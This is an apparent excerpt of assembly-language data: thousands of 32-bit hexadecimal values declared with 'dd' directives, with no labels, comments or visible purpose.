dd 91EFD6F0h, 2B05BFFh, 8EA88724h, 35576BB2h, 0E7844B03h
dd 0D616EE84h, 61051173h, 37EBD5CCh, 27AF2E2Bh, 7EA83667h
dd 0E7F4551Fh, 980B205Ah, 0C10EDC88h, 0D3C92793h, 2777F8F1h
dd 0A9C50364h, 3B3B145Bh, 3C5EA5F0h, 0BD572A3Bh, 0CE6E52A5h
dd 21EB35AFh, 55290FC1h, 5ADA7EEh, 583FA485h, 7F8375AFh
dd 0F51E334Ch, 19A64AD2h, 39952D4Bh, 8A5083DFh, 0F426290h
dd 4B5FEB97h, 20337E76h, 0A6826C32h, 83038616h, 8911E996h
dd 6582B9CBh, 9245206Ch, 0A3F8C19Bh, 0DFC8DF65h, 59D7642Ah
dd 66AAFAD6h, 2CCB144Ah, 569A2B1Bh, 0D8804982h, 0BEBF441Ch
dd 0E41F6886h, 111229h, 0E6D96B30h, 0B70D5AD4h, 397F0B05h
dd 61999C64h, 487190E3h, 1E2A7F48h, 7CDEE155h, 425C86F5h
dd 0F875351h, 0EC6C3636h, 0CD4BE05h, 707D41Dh, 870F282Ch
dd 472A3739h, 0C28DD585h, 61669D81h, 0A1AA4113h, 2519709Bh
dd 0E0D34EA2h, 0C7084A8Dh, 0BE5E1066h, 66E1F1F7h, 0BB5D087Fh
dd 0EB8821B7h, 0C13D2638h, 7EFCFA35h, 0DB7215ADh, 463ADA60h
dd 342356BEh, 0C0FC87D8h, 0C1072567h, 0FA0D22C8h, 9A7D0FC3h
dd 0F21555F1h, 68ACB45Dh, 78AEC44Bh, 8E60493Ah, 5FA23849h
dd 6F4658Fh, 0AC23DFF5h, 8F06044Ah, 7AD27C74h, 162FDF9h
dd 0EC41087h, 55A0AA50h, 0D4BC321h, 59F0A584h, 247DFF35h
dd 0E71FF6FDh, 5C52EBEFh, 9F116CA7h, 97949BFh, 79BB9129h
dd 0F166DE8Ch, 1DD5F0EDh, 0EA8BA15Ch, 0FF3BA5F4h, 8746D479h
dd 62E46A28h, 0F02A99A8h, 0F14A33CEh, 0C96EB24Bh, 29237E56h
dd 0C2AB333Bh, 434EF61Bh, 4D2A323Ah, 7443EEBBh, 0C616C643h
dd 8F263D54h, 0C80AF772h, 903207F8h, 7AA47207h, 5D360B4Ch
dd 8D5AA28Fh, 57BD7B13h, 160B6D1Bh, 0D5088939h, 0C47CB84h
dd 28C1DE7h, 0F5F8D324h, 7B605F10h, 55BEC33Fh, 0A49A6FF2h
dd 0F5BAE3A5h, 21222890h, 0D4AC8FA3h, 56A28A4h, 0E1CD25F4h
dd 0BD6E0E6Bh, 10032AE3h, 0A8C88682h, 49D97234h, 6252BE7Ch
dd 0B73CDE2Eh, 68F0ECB0h, 533B5B7Eh, 5FD07CEAh, 0BA917B48h
dd 0A09250CDh, 5A0B6EFFh, 0DCD53C9Dh, 5B4AF13Bh, 0E18BD2E8h
dd 0DBF0CADEh, 374850E4h, 12EA442Fh, 3DC23811h, 0C78825AAh
dd 20CB2F79h, 2EBADBB0h, 803F36A6h, 0CF0C35BDh, 0B116495Ch
dd 0B1ADBD16h, 0E4BD589Bh, 7D4BA3A6h, 0FBB6FC63h, 0A3EDC2FBh
dd 0D893D99Dh, 3306010Ch, 0FC981826h, 33AC9628h, 0E3BF0DA9h
dd 0B77E74B2h, 0DFB810AFh, 7E5EA849h, 0DE6B3D68h, 1E88E220h
dd 7879E45h, 0ADF692A9h, 0E7D31345h, 0E7F38515h, 87F7AE7Ah
dd 19FBF10Fh, 967FAD9Dh, 40F92FABh, 0F876546Fh, 273300D8h
dd 97D6FB86h, 1E5920BAh, 52746711h, 3A64B585h, 7C61118Ah
dd 42DA5330h, 0BF2EB4Bh, 0F307E897h, 4DF42C6Ah, 46AC9097h
dd 47729D27h, 5E1C66C6h, 0B47F6ED1h, 1EFC3A0Ah, 52BAEDC8h
dd 4E06EE15h, 0ADC2630Ah, 6992666Fh, 54B0D444h, 604F18D6h
dd 0E7AC9960h, 0BED91EBCh, 0C73EC9D0h, 680DE809h, 0FD842758h
dd 740F2BCCh, 69674BFh, 0C406470h, 0F1523657h, 0FC7034A1h
dd 9EB83758h, 36CFC58Fh, 37278BFAh, 794FAEC6h, 0D608EB73h
dd 55A30228h, 0B7D5FF0Fh, 9432EEB0h, 3131C3F5h, 48F6EBEEh
dd 14D40A30h, 4AEF7926h, 134870D4h, 0AD6C367Eh, 4D11CD0Ah
dd 67973889h, 0A808E277h, 0BF54C9BDh, 9662CE6h, 0D805A0Bh
dd 5C652B95h, 0E0B2A241h, 0AAA3CE97h, 75245B4Ah, 0B7585406h
dd 28EB7876h, 2463C900h, 3BF06290h, 0EAFCFB7Ah, 741C1490h
dd 0A897C60Ch, 2030F9EDh, 0E241738Fh, 0B1C267C7h, 90F91A5Dh
dd 0E4B0ACE1h, 0C1EEC852h, 51A5E88Eh, 51CE2C20h, 8616C89h
dd 822748A7h, 0FF195389h, 3E640F86h, 39A37BCh, 65EB7F4Fh
dd 84EE93B0h, 16DD094Ah, 0D82590B1h, 3E5F1066h, 1F5D5FB6h
dd 792327C8h, 0E08C4714h, 0CA156A2Ah, 2101407Bh, 6308ED02h
dd 68989E7h, 0A3682F37h, 17254B3Bh, 95AEC93h, 5915B589h
dd 13310CC1h, 1D1BDDCh, 0F48609E5h, 0E3431062h, 98EE5F2Ch
dd 0E4109A0Bh, 0C31F38Bh, 742F363h, 4503BCA4h, 0A59FC3F6h
dd 34ACA7D7h, 0BCDA0A6Fh, 1BF0C119h, 0B95AB305h, 6F6DE0D2h
dd 3738E4C9h, 2B80C760h, 1723D017h, 72743CFFh, 0C511D10h
dd 0DCBE205Ch, 58775F6Ch, 16912E61h, 0B0A7627Ah, 0AA9DA0F5h
dd 0EF27AAF5h, 3ADD0E3Fh, 3105D250h, 8D015B6Eh, 627349BAh
dd 0D90C6C78h, 94D14741h, 379D4BB6h, 0DF83B342h, 25B3EFBDh
dd 46816C5Ch, 123BFA11h, 4C04DCC9h, 3ECE918Ch, 41EAD7FEh
dd 94218351h, 3128E39Dh, 45F7B440h, 72E066D9h, 48C70DFEh
dd 1609B262h, 4A43C34h, 271D8460h, 36239BD4h, 7F829DCCh
dd 3D241074h, 0C24DEBC8h, 83A00CB2h, 2CAE7C9Ch, 0B902D33Dh
dd 5EBC655Fh, 8B50094Ch, 465962BCh, 561AE3B9h, 0C0D4E8E7h
dd 4E1D13E9h, 0D56DD5ABh, 74F5F972h, 48774A5Eh, 0D585AB48h
dd 87840F29h, 0B0ADB205h, 0F811D09Ah, 0F7291EC5h, 63A978E0h
dd 0B325CACCh, 0B488A298h, 2C57BE5Eh, 351BEE31h, 82000FD4h
dd 0E89A881Fh, 2957C389h, 7A289FE1h, 56441057h, 2C50AA13h
dd 64388ACh, 3F8F9389h, 0C7865E5h, 26B880ACh, 33A782ECh
dd 0E3926AADh, 35AF892h, 41ACCD43h, 0A69135D8h, 0AE176A49h
dd 0DEA3BECCh, 51F15A53h
dd 0C790DDBDh, 0BED90C8h, 0BE43B5FFh, 6130EE7Fh, 62D13ACDh
dd 8B8EA681h, 75CF9EECh, 665214EAh, 0C0B962A1h, 832FF4FEh
dd 85E7D2Eh, 62EA0BA1h, 72300C4Dh, 0EE35819Fh, 13282B99h
dd 2E9A1DCDh, 260D1536h, 19DC1717h, 0D19C520Fh, 91048047h
dd 79803B7Ah, 3C73D443h, 0EA4E6187h, 72CB6563h, 0B10FAAE8h
dd 0BA6EDDB0h, 0C47FA747h, 0A0D45060h, 10F14F45h, 53040FA3h
dd 0E0E8731Ch, 238602F1h, 0CD6B1546h, 7A9EC5A9h, 3C3B520Dh
dd 0BF8E2642h, 0BD3C6228h, 8E265F7Eh, 3F831374h, 4954906Fh
dd 1AFBF6C3h, 43E73F36h, 0A69A2E5Ah, 5F4A02FFh, 37077227h
dd 0B03CBFD1h, 5F0B3CDDh, 5DBDA03Eh, 0AA89599Ch, 28FA9C24h
dd 90F81DBDh, 0C3ED73D4h, 9BD50824h, 33716F50h, 0CDA6AF84h
dd 0A16CB0DBh, 5D466A5Ch, 9542F439h, 0CE8858F7h, 92BFFC7Fh
dd 0AC992FA4h, 345BAE7Dh, 63048E15h, 975C763Ah, 8BE037Ah
dd 17537BA0h, 0DA9B5319h, 84898925h, 0DDFD1AD2h, 442E884Fh
dd 925159Ah, 3FB8AE1Dh, 4E2063C8h, 0CB15120Bh, 0B48A865Fh
dd 0B3E1B8D8h, 2BA8090Ch, 8215B162h, 44B28BD1h, 468B1FB1h
dd 6653BEBDh, 8819C535h, 0F19CC361h, 906A660Bh, 0CCBD661Eh
dd 73C2EF96h, 26DE04DEh, 1B204283h, 0C084484h, 37398D46h
dd 6A2D190Dh, 0E74BE297h, 313AA313h, 66DACAD7h, 64F6D0CAh
dd 13F06BDAh, 0CBD1686Ch, 512D7264h, 0A1FCFBC5h, 8EB4E16Ah
dd 4CB58839h, 25D29B5Ah, 0A676765Eh, 7F03E957h, 0C6545114h
dd 494C8D58h, 0F9E6975Fh, 54AFC535h, 6D1F7184h, 60B9EB8Fh
dd 409235Fh, 0F4FACF12h, 0C5B9141Fh, 536985A3h, 7FD89536h
dd 0CB2DEC92h, 0E3A56211h, 292BCB26h, 63375345h, 0BF86FC48h
dd 0F5B4093Fh, 4ADBC6F9h, 0A640D29Ch, 0C67FF18Ch, 88C90568h
dd 0FF972BFBh, 3226462Dh, 865A258Eh, 27626B18h, 0E2B4EBEAh
dd 990C077Fh, 0D6B7FC04h, 825728Ah, 7A100040h, 36D830B6h
dd 0AB63625Bh, 0B45BA82Ch, 409B8F12h, 1E11330Bh, 0B5D5783Eh
dd 0E9724245h, 44F028A8h, 2D0F6195h, 0AE95864Fh, 54ED96A7h
dd 0A93E81F0h, 0AAB59746h, 82777405h, 0A19F4F57h, 289E57Bh
dd 5ED053A3h, 803B4CCAh, 19941E8Fh, 17A29A3Dh, 33DDF6D4h
dd 89A41787h, 0B9C08C1h, 19E8D2EAh, 0CBDC5513h, 0A410EB58h
dd 5C15F467h, 49A825D3h, 4FB19823h, 0DC3C5F5Bh, 412845E7h
dd 0D69F7B22h, 0B83E447Ah, 0E684782h, 181CFADh, 6C8FC3E6h
dd 0DF4608DBh, 14E13B2Ch, 632F9353h, 3ABDB9D6h, 9CEAD6F3h
dd 0CDAC1CE3h, 6230331Dh, 0E8E6FFD7h, 0F29FBD6Bh, 38DF8DCAh
dd 98656D89h, 89D3DEFEh, 10016337h, 0A6CBA325h, 0DDC5E77Ah
dd 75579789h, 20883A9Eh, 6DD6F06Ch, 802D050Ch, 6799455h
dd 0F5E41FDh, 855ABAB5h, 0AFEB8493h, 24B2BD07h, 0BEBAD4Bh
dd 870BDE52h, 0AB51B2h, 0D3F6E77Fh, 0F13695D6h, 0EC84F23Bh
dd 0D258E3D8h, 54F58FD8h, 0CADDE593h, 0FA2FF9D0h, 6843E47Dh
dd 31646037h, 0DCE86CC7h, 92251907h, 453B7307h, 0E42017E1h
dd 4828E8A9h, 0AC9850ABh, 0DB68BBA3h, 0F4B0696Fh, 617864BCh
dd 0BEFF0A3Dh, 0F43C6F21h, 2A2B653Fh, 3239456Eh, 0F186A2F2h
dd 987CFD90h, 0DDE59147h, 6D48DA3h, 0DFE41ED5h, 0C49E88E2h
dd 4015BA4h, 0D220B3FBh, 0CBCB75E2h, 4D1843E8h, 5290F8D8h
dd 0C921548Fh, 0D046DC71h, 0C40077BDh, 0E7439BBBh, 0DE9E8BD5h
dd 96548B1Ah, 0A38B88CDh, 427179B7h, 0E943E805h, 7A9918Dh
dd 0D7787Fh, 7B06A7BDh, 0B32445F3h, 52A30023h, 0D3111D6h
dd 0BFC0130Bh, 0CCC8BBC3h, 0D9CA7A75h, 2E010CD9h, 629D702h
dd 0BF5BB1CDh, 0CEA7413Ch, 0C7A5DE1Bh, 105CDE2Dh, 8E0247FAh
dd 8F1876D3h, 320071C5h, 0ABE80534h, 5A6ECBCCh, 0B3D7F010h
dd 48CF7484h, 70F587EAh, 16ADBF96h, 0EEF4C9D9h, 624B3A4Ah
dd 8075C8BBh, 0C15DACFEh, 799ABE2Ch, 0E557DE0h, 53580D4Eh
dd 81228F26h, 6CE22FF0h, 126920ABh, 0DD6B2AEDh, 0DFA2515h
dd 0D8512DFBh, 600AE3CAh, 0E3FF3AFAh, 16243938h, 0CF8CC9F8h
dd 0C385279Eh, 0C6B42123h, 0B3E8C882h, 0CD4364A0h, 0CD677860h
dd 433344FDh, 16A55013h, 0ADA48806h, 6B6B36ACh, 543FBE54h
dd 43EBA63Ah, 1F92FA54h, 0A8F33D6Eh, 0D923012Eh, 0C39E5D61h
dd 0C5B2F8C5h, 0B76B8AB3h, 4B908AEEh, 2900B74Dh, 4154C612h
dd 0CF56F2ACh, 0F2F0918Eh, 4B83C92Ah, 5234EF63h, 132AFE6h
dd 57BE51A6h, 0F7B0E333h, 0EA4B09E4h, 0ABB15C2Ah, 0BFF19ABBh
dd 89ADA54Bh, 7E3B5C4Fh, 79229FE6h, 0BC1845A6h, 9DFD9F7Ah
dd 4062F0BAh, 218C6452h, 85C53D78h, 61D899FCh, 0F2BADA83h
dd 0C77E49D1h, 12FFB026h, 73BA4D52h, 0FB7A2403h, 41453F00h
dd 42389E07h, 2BF9014Ah, 16734768h, 0A6FE0698h, 2118A8E1h
dd 0D49FB3C2h, 761DB91Fh, 0D618617Ah, 0C1E8EF7Dh, 0DABF368Eh
dd 9062D53Ch, 440E4AC1h, 3602D494h, 5E22DF2Ah, 0EFC3F435h
dd 0E7055A3Ch, 8C2F7411h, 0F0DB357h, 0C301548Fh, 9FE7372Ah
dd 0F8F2957Bh, 0B104712Ah, 345BC983h, 1B8F5EF5h, 54B6615Fh
dd 7432E33Dh, 4E116F89h, 0B321570Ah, 0A836FB22h, 0FE2EADC7h
dd 0A93236BAh, 981D3455h, 0B6EA509Bh, 2D314FFAh, 0BA2879C2h
dd 0CD86475Bh, 0DD4F27A0h, 0DF600599h, 91AB7A2Fh, 0E5D7CF7h
dd 9CD5D5FBh, 16D4C9E2h, 3374CDCCh, 0A9A4248Bh, 0EBCB7AD7h
dd 2A62D226h, 3D055DA6h, 42484452h, 0A6CE4B56h, 0ACD7798Eh
dd 0F069C754h, 2A5FE1ADh, 0ADAB75C4h, 0F3B0B337h, 9B6283BAh
dd 1F8E702h, 7165DDB0h, 20ACA75Ch, 2702B020h, 0EE51B67Ch
dd 0A415D252h, 19C8809h, 86381586h, 0E7ED4FA5h, 715282DAh
dd 0FCB8BA86h, 0E9CE9F44h, 83BF2096h, 0AA343E6h, 2DCC8C81h
dd 6D077353h, 1773C82Eh, 0E8EBD5C0h, 9A387A4h, 9F553608h
dd 0AFA7F445h, 7173DC3Eh, 59B050BFh, 0EF519559h, 0F6104A06h
dd 45CE3BD9h, 0FFAEFFB3h, 0BFB37F0Ch, 95F35FF7h, 11ABC937h
dd 3984A12Bh, 0DF5B066Ah, 11F6F318h, 0C0F322F2h, 3B1048EEh
dd 94DD250h, 0E13FA621h, 0C1877EA1h, 35A68649h, 0FA457134h
dd 425A806Dh, 7CEEE3ACh, 0E3CFE8E7h, 8F6E57FAh, 8C28FBBDh
dd 4AF0F8A8h, 0E3FE5A6Fh, 5A09DC4h, 4E38865h, 5FE72DA9h
dd 19FEA08Bh, 0DB96A47Ch, 5E212F29h, 0BB837DC3h, 8EEB9AECh
dd 3CACA925h, 0C0844EF7h, 9C853184h, 0B702F0B3h, 5BA3B6CFh
dd 0D6B82953h, 0B4C72EF9h, 3D444B3Dh, 0DE6CAF90h, 0A4C8F745h
dd 99001044h, 0BB74FFB4h, 6C5A7067h, 4EF2A0C6h, 0CA4584CCh
dd 0D32878BAh, 810E04B8h, 0A0F18A6Bh, 6A0E58C2h, 904C76A2h
dd 0C43C0A39h, 0CF5B6346h, 6966B51Eh, 0CAEC89Ah, 0AEF57C00h
dd 0FF44662Ch, 4C312C8Eh, 95ACAD9Dh, 0B9E9B30Ch, 9AED2FD1h
dd 0DA4BAF03h, 6556EBD4h, 0C2BD4054h, 129B4491h, 3E56DAE7h
dd 2F7C4159h, 6B212F85h, 2C64E30Bh, 608269ABh, 8EE8B3D5h
dd 23CDD4F3h, 18188DACh, 91A604F8h, 20D555Ch, 0E9B16C1Eh
dd 4DD9AE71h, 0EBDC8668h, 2163E1C5h, 27B7011Bh, 3F0A323Ah
dd 1AF3D9Bh, 0D7E73BCDh, 95D50C7Ah, 2909A9D8h, 1F4EB0EDh
dd 0F932FA3Bh, 2A0DCE45h, 77ADA0Fh, 758D3419h, 0C103C2C7h
dd 0C96A13A7h, 0FFD3D4EFh, 9632BEA7h, 0D290133h, 72890161h
dd 0B78E8B06h, 84F910BFh, 2305B032h, 9A9E4CECh, 0C12EF3DFh
dd 118C9ABAh, 8B0A6A8Eh, 357AF6B4h, 7D3426BBh, 0D30B3CCAh
dd 581874BFh, 0F2F5BA7h
dd 7D23867Eh, 544F9A80h, 7B8D8C12h, 7BAE70CEh, 5A5B96A1h
dd 9B88909Ch, 0B75F730Fh, 0BCAFC064h, 0CF2E33EDh, 0CB79DD47h
dd 7BEEF870h, 0A13EB880h, 1906FB9Eh, 2CC52255h, 0F8570E4Eh
dd 0B5021B0h, 901D2900h, 211C6909h, 8298E35Fh, 10D02F6Fh
dd 0ED2CD0F6h, 0B43107ACh, 0B14F114Ch, 0FB7F2C2Ch, 40A22701h
dd 0E2DC8609h, 795B8358h, 10F7C5A1h, 4F0E5C5Fh, 0A0DD23A0h
dd 58D69E39h, 0F47871FAh, 0F22DCD95h, 9B840FA8h, 2C5AF5DAh
dd 56D69211h, 681A9FFEh, 1F31FFC0h, 1EC94798h, 65774BAEh
dd 0E28C3F8Eh, 4C325DC3h, 9C1C3BFh, 0ECE85129h, 0CCAE5BDh
dd 26AE053h, 922E6937h, 0B0C57F38h, 1971FBBEh, 19E6569Dh
dd 2F69F5B5h, 0D1E8A6C3h, 0AA4CB485h, 0FAF7183Bh, 38DCE3D4h
dd 0ECE25E91h, 0BDD3BC2Ch, 181C7E7Eh, 1C04A583h, 31010A3Ah
dd 0A5763905h, 4434FE91h, 489EB790h, 0A0530ECEh, 0FA88F6Ah
dd 5931CB70h, 24D05381h, 359646B4h, 0BACD6707h, 31D22645h
dd 38802045h, 0B32ADAF8h, 8FEB17CDh, 64F20676h, 0BDA61F75h
dd 13BBAE3Ah, 0FEFEC0ADh, 6BE989DDh, 0D5DF91B8h, 75EC127Ch
dd 0E06B6BA2h, 0CAF193A2h, 7990D9D9h, 0E24722FFh, 0AFB3F60Ah
dd 89C112E3h, 0ECEC9C2Ch, 450EB92Eh, 10E98247h, 25677C15h
dd 0EAC95295h, 8A20A4A6h, 3FA920A5h, 0D659FA87h, 6FEB5476h
dd 0DDA514D2h, 56A81CA7h, 0BB7D1E86h, 0FFCAC666h, 85AF384Ch
dd 72814295h, 0D9AD672Fh, 0CF0852AAh, 635FB3CDh, 55060C1Eh
dd 8ECE8F57h, 63E7BA6Eh, 0F0B2B180h, 7981E530h, 0E16840D9h
dd 2354BC7Fh, 0A15D9A88h, 0FCD6A928h, 83B94E5h, 0B3632171h
dd 223B6DB6h, 0CEF98A6h, 3BC46194h, 33B4D184h, 0F67FBBC1h
dd 0C4926D25h, 3CFB8F74h, 6E31CCFAh, 0D6F6ADF1h, 0F8D65F9Fh
dd 0E014CA95h, 90626F92h, 539751D3h, 7C33120Bh, 9D079BE6h
dd 81191B73h, 89338461h, 48FD8383h, 93B0CC30h, 4BB1A416h
dd 0C15186A8h, 0E470F979h, 3AC9D86Eh, 2C7792C9h, 0C88C15B4h
dd 0A0E5F92Fh, 0FDEE73C2h, 71C0A2EFh, 3A2A784Ah, 694ACD2Bh
dd 7CF6666Dh, 1E775326h, 29E87861h, 610B5F04h, 0E0C760C7h
dd 0F427FA77h, 169DA212h, 0F344486Dh, 90D2C3C6h, 97FE507Eh
dd 72006DC8h, 0C5CBBC06h, 0E50A9CCCh, 8A4B65A4h, 1A85B010h
dd 4CFB4C78h, 0D52F59E0h, 0F32AC251h, 0CD44BAF0h, 0DC3549DFh
dd 1A89CA4Bh, 40D9E549h, 7A8FB56Ch, 8AA07A15h, 3F673D70h
dd 4FFA8E1Ch, 9B3FDCEBh, 0F2000F19h, 5CCBEC6Eh, 4C26DBD6h
dd 73CEF41Ah, 551C984Eh, 9E8C7C65h, 6225F934h, 0EB26E566h
dd 4CC44488h, 0D84DA1C6h, 0D51E9BA0h, 85E36AFAh, 6C5181BFh
dd 0E26990F4h, 0A9C46F97h, 0C6DB3086h, 0B1A66F3Ah, 0C284925Ch
dd 317DF19Ah, 1EB443D2h, 35C17244h, 2C42347Dh, 7CA16FD7h
dd 9E70911Dh, 40402F01h, 0BA5398C3h, 0D7BF4F3Ch, 0C211990h
dd 8AACCEE6h, 53047D08h, 9DCADC80h, 0F11CE973h, 3678238h
dd 0BE8F8EB9h, 0B60509C1h, 49B507F9h, 0CFD40A7Dh, 49633597h
dd 0A2871455h, 8705B847h, 0C93C66C9h, 9DCB8A68h, 8948B956h
dd 0C8E9EEA9h, 0A7A2421Eh, 8E7920C4h, 0F5BD9E1Ch, 18D7FE71h
dd 0EDAC9AA3h, 0EB64DD36h, 259D0C19h, 0DF6CCC72h, 7A828C46h
dd 0DBE87A93h, 26901E7Ch, 98FA7A66h, 0EE40D3A2h, 0DF1D8D4Dh
dd 2AF7465h, 0F238873Ch, 1B924CB2h, 7C0B4644h, 0A56C74h
dd 0A9E7C741h, 3584B8E7h, 3245D9F5h, 0ECEB1735h, 0B512273Ah
dd 0B0BACCC2h, 12DF62D2h, 245F5E24h, 0DC1A778Ah, 0ABF3C3C6h
dd 7C58A1ABh, 0A42A8727h, 7BD7E623h, 0CCCC623Fh, 18EAAD98h
dd 0DE1E4829h, 0DE2FCC8h, 0C915A94Ah, 0E2C7DEDh, 783020E4h
dd 43BF7062h, 0AA1704F4h, 482DBDAFh, 0FF7E01A1h, 1FD5FF14h
dd 0D30F4B23h, 0EE11521Ah, 0DFAA9C79h, 605581C8h, 7F46FE8Ah
dd 0D2DFDD4Bh, 37E11E93h, 0E380F7DFh, 0C9B58DC4h, 53BE49D6h
dd 602CAF97h, 295E335Dh, 0E6D21211h, 6C46C179h, 5CEB2835h
dd 0E53E0888h, 5F642152h, 7A1E403Eh, 0C4B2C36Ah, 0F2B92AC2h
dd 5D9BD49h, 0D8DDF566h, 0B4BAC08h, 8A3A0719h, 9713B731h
dd 535BB29Dh, 332C1BF4h, 520B568Ch, 0F7ADCC94h, 7721197Ah
dd 46E9DE97h, 45C87329h, 1B368646h, 42C8730Fh, 0C55AB938h
dd 0C46E9310h, 0E41B5ABBh, 98B3E55Ch, 57E3740Dh, 0E34A4E5Dh
dd 0BABD2602h, 9E292FE1h, 460D8F52h, 2D71EE30h, 8EB9E89Ah
dd 58C1BEFBh, 0B3D33E4Dh, 68B92EEEh, 0E622C8C8h, 0DE4E2257h
dd 707367C6h, 444EC179h, 0B79BA63Dh, 7144F037h, 0F8B2178h
dd 95FF69FFh, 69854C13h, 1BE57EF8h, 462E577Ch, 0D1B71B65h
dd 68BBC6FDh, 0E40779EDh, 0B3765ED2h, 2320ECA7h, 4120E72Ch
dd 100D650h, 5180826Ah, 0C1B3FE72h, 6C7F927h, 75E54844h
dd 0D8602086h, 1F635A7Eh, 9589C4A9h, 71506866h, 4F6A9A88h
dd 232364D0h, 282AC8A4h, 0B20C7F4Ah, 2D77A5B3h, 173A08ADh
dd 6D393560h, 2AF37F4Dh, 8D5E4D0Fh, 0A7B0BBADh, 0B83F596Bh
dd 99EBE621h, 5546DF3Bh, 0AC77E1FCh, 0B69B4957h, 0D66900BEh
dd 0ADC210Fh, 0F231AAEDh, 3416BB13h, 198CE1CBh, 0D7F9AB8Dh
dd 52DE18C2h, 3ACB389Fh, 13537E8Ah, 249BC928h, 5001AB9Ch
dd 0F9B764F7h, 0C68EFCCFh, 4D4406A5h, 50E7FB54h, 0B967A592h
dd 6698F43Bh, 538767A5h, 3252D4FBh, 0FB2CE391h, 4F0E1B9Ah
dd 63E2Ch, 54475290h, 59B088F9h, 0E4E8842Fh, 9FCA844Bh
dd 7134E98Eh, 0F72B5649h, 6C97788Eh, 98D2D1A4h, 0F8F28C65h
dd 0FFC02250h, 0EA388CEBh, 0F1AECB48h, 0DB870918h, 4BAEF2ECh
dd 9D470DF5h, 367F2DA4h, 0B992889Fh, 0F8296EF5h, 0F646A9C5h
dd 0AA50E800h, 0E3D27FFBh, 0A1438D29h, 0E9E11127h, 5A5C74B9h
dd 0F313743Ch, 27B26B4Ah, 0BBAC88C1h, 0C2A57470h, 5BF3C858h
dd 0B1D967C6h, 0C665D06h, 8DAC18AAh, 9C0B81D9h, 2EA6A375h
dd 6D4FC91Ch, 1770A148h, 0C6262D5Bh, 874F776h, 9AF6E1FEh
dd 47D29BAFh, 36B4F4DEh, 0BDFB8E4h, 6F8D8DB9h, 4C823A6Fh
dd 0A79F9157h, 32124DF4h, 0A9B470ABh, 41A4BC89h, 5FA6E6BEh
dd 835D5FD5h, 0AEA2F09h, 0BA9F7D4Eh, 7AA747C1h, 735592EDh
dd 9DCEB2D0h, 109FD14h, 72C7E104h, 37425C1Ch, 4665088Dh
dd 7523A7Ch, 0A5819DCBh, 3F12AB1Dh, 0E2E42C32h, 0C7EDC3FDh
dd 4E155E67h, 0BD8387AEh, 327143C7h, 51A9B9DCh, 0A77FEBCBh
dd 8CC8A228h, 241D581h, 89E7FC10h, 37DA50BFh, 0FD0CA569h
dd 4B052F38h, 81348CA1h, 4B4BCA86h, 87532C9Dh, 1D87A58Bh
dd 0E7D64EACh, 6041E2B1h, 0F9B8C5B7h, 0F6AA38F3h, 7C706E15h
dd 6B4460Bh, 0B7F1D645h, 0E4933AC5h, 222BF52Fh, 37D73401h
dd 7F27BFA3h, 1D325FAFh, 86AB274Dh, 73324F25h, 0DC78C6Eh
dd 90E3F60Fh, 0CF718D2Bh, 48F4CD3Ah, 0EDE86298h, 0B350D3C4h
dd 945C025h, 8A0A83AEh, 663CA16Ah, 72CF5617h, 478E86ECh
dd 91E1C329h, 929F4509h, 7C3FBFDDh, 48743819h, 0B73987AEh
dd 77596F15h, 8F2D2515h, 452A2A1Eh, 6D040C12h, 45052D4Fh
dd 5B9AC691h, 0CDDD6FCAh, 6582CE8Eh, 0C0656086h, 385F11FBh
dd 536E668h, 0C5600A0Ah, 0A1C31B5Fh, 0AC36CFA6h, 2D501673h
dd 2B549CCBh, 7C575C2h, 0ED6F2DF9h, 0B15EB6C9h, 0E3F4C720h
dd 5C07BDE5h, 2CF75DFFh, 1AC12B38h, 0AEF1F61Ch, 47C38FDEh
dd 4B541FBEh, 0A7FEF469h, 94EC29E7h, 87E5EBFDh, 70D2CF30h
dd 83F28D2Ah, 6EFBAE6Eh
dd 4602D04Ah, 76808EF4h, 22B0396Dh, 885148D9h, 3FCF15AFh
dd 7CD0389Dh, 0BA6837A6h, 0F4D9EB6h, 2BB6C4C9h, 56069307h
dd 85B4E9FEh, 2AD2AFEDh, 0D182CD65h, 500E8D36h, 0EEB3331Fh
dd 7FFE2F3Bh, 118C030Dh, 85885192h, 0BBB30587h, 0F2810541h
dd 7C37AA0Ch, 556CDF24h, 0FF2060F8h, 2A23DA04h, 5EAC2513h
dd 6FE5E7A6h, 7AF3A965h, 89DD3CB2h, 0D82033h, 77DB85A1h
dd 4586D221h, 31FC7D17h, 0E33A050Eh, 8CD40D62h, 0BA05CC23h
dd 0C2087D2Dh, 0C56EA890h, 8A7648B8h, 0A78B1D86h, 0BF7F85FEh
dd 9DEAACC1h, 0ADE75F5Ch, 0CD76BB09h, 0BAC9CBDDh, 2DF35160h
dd 99241615h, 4123CC06h, 0FDF2A5FAh, 22A03EE7h, 0CA7ACA19h
dd 5224C648h, 0DC196252h, 479FFF7Bh, 0E78C624Dh, 0D33190ADh
dd 0ED38A81Bh, 4CC7E188h, 0F02DD1A3h, 0E4E50815h, 5EA6B8D1h
dd 5522A1Eh, 7471E93h, 168DEEA3h, 864E3B08h, 8D21AC41h
dd 1C46B45Fh, 56ABB45Ch, 184CFFD2h, 0B4B242D4h, 8BBCDB4h
dd 58936C47h, 930E9127h, 83291FAh, 0C22F3CCh, 0E58D29CDh
dd 70E2F6CEh, 7531538Ah, 95DEE8C8h, 3656203h, 0DA963B58h
dd 77F1C610h, 5C46EB07h, 67568FADh, 39083022h, 0B5897F13h
dd 32D261C0h, 3BE96F08h, 6DB811BCh, 1D55038Bh, 634B8C69h
dd 0FD19422Ah, 0C5492FD6h, 604951E7h, 24BA5F3Dh, 881D7CC9h
dd 326924E9h, 245DC566h, 0D8EE64A1h, 0BA2CE67Eh, 0E7811163h
dd 4AFDD3F0h, 0F8A860BBh, 8642FED7h, 49937F60h, 792BB9D6h
dd 0C873C0A6h, 0E18D5C1Bh, 339234B6h, 2CB1272Bh, 0E79D1E4Ah
dd 0D8E3A09h, 0ADE23867h, 43E910B6h, 0A3C09A5Eh, 452F305Eh
dd 3791101Fh, 6C10C084h, 0A1A0BB16h, 54604384h, 90F8B77h
dd 9CE3C018h, 0AE59684h, 98A60903h, 0B5170D26h, 9DFC6F4Eh
dd 3D35ABECh, 0C897113Ch, 0ABA389DEh, 1939465Eh, 0AD23CF7Fh
dd 0EC142B48h, 76044F47h, 9A22C997h, 0F619DB0Ch, 0C5D90629h
dd 9BDF559Bh, 591CBA3Fh, 0AFE504F9h, 75F11019h, 0F3C14F51h
dd 0C00FDDDh, 61DA3EFEh, 484F467Dh, 0F0F11EF1h, 1C458594h
dd 34B97C7Dh, 0D5DE109Fh, 4227C3DAh, 5F8A43E7h, 0D6C782CAh
dd 0B09B0DE7h, 3B987744h, 0C3FAA234h, 98224F71h, 0DB9C3D0Ch
